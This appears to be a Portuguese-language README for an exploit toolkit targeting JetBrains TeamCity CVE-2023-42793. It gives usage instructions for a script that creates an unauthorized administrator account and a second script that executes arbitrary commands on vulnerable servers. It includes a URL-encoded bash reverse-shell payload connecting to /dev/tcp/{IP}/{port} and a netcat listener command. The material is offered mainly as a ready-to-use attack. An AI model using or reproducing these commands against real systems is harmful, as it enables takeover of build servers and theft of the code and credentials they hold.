
JetBrains TeamCity 2023.05.3 - Execução Remota de Código (RCE), CVE-2023-42793
Use primeiro
exploit.pypara criar uma conta de administrador para você e depois userce.pypara executar comandos no alvo. Para reverse shell, veja isto
Este script explora a CVE-2023-42793 para criar uma conta de administrador em um servidor TeamCity. Ele envia uma requisição POST para a URL alvo para criar um usuário administrador com credenciais especificadas ou aleatórias.
python exploit.py -u <URL> [-v] [-n <USERNAME>] [-p <PASSWORD>] [-e <EMAIL>]
-u, --url URL: URL alvo (obrigatório)-v, --verbose: Ativar modo verboso-n, --username USERNAME: Especificar nome de usuário (padrão: aleatório)-p, --password PASSWORD: Especificar senha (padrão: aleatório)-e, --email EMAIL: Especificar email (padrão: aleatório)-t, --token-file: Arquivo para salvar o tokenpip3 install -r requirements.txtExploração com nome de usuário, senha e email aleatórios:
python exploit.py -u http://target.com
Exploração com nome de usuário, senha e email especificados:
python exploit.py -u http://target.com -n admin -p admin123 -e [email protected]
Após exploração bem-sucedida, o script exibe a URL, o nome de usuário e a senha da conta de administrador criada e salva a saída no arquivo de token.
Este script permite executar comandos em um servidor TeamCity vulnerável explorando a CVE-2023-42793. Primeiro, ele ativa os processos de depuração e depois executa o comando especificado usando os endpoints apropriados da API.
python rce_exploit.py -u <URL> [-v] [-c <COMMAND>] [-P <PORT>]
-u, --url URL: URL alvo (obrigatório)-t, --token-file: Para especificar o arquivo contendo o token-c, --command COMMAND: Especificar comando a executar (RCE)-P, --port PORT: Especificar porta (padrão é 80)Exploração com um comando especificado:
python rce.py -u http://target.com -t token -c "whoami"
python3 rce.py -u http://target.com -t token -c '"/bin/bash"¶ms="-c"¶ms="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}%2F{port}%200%3E%261"'
nc -nvlp 5555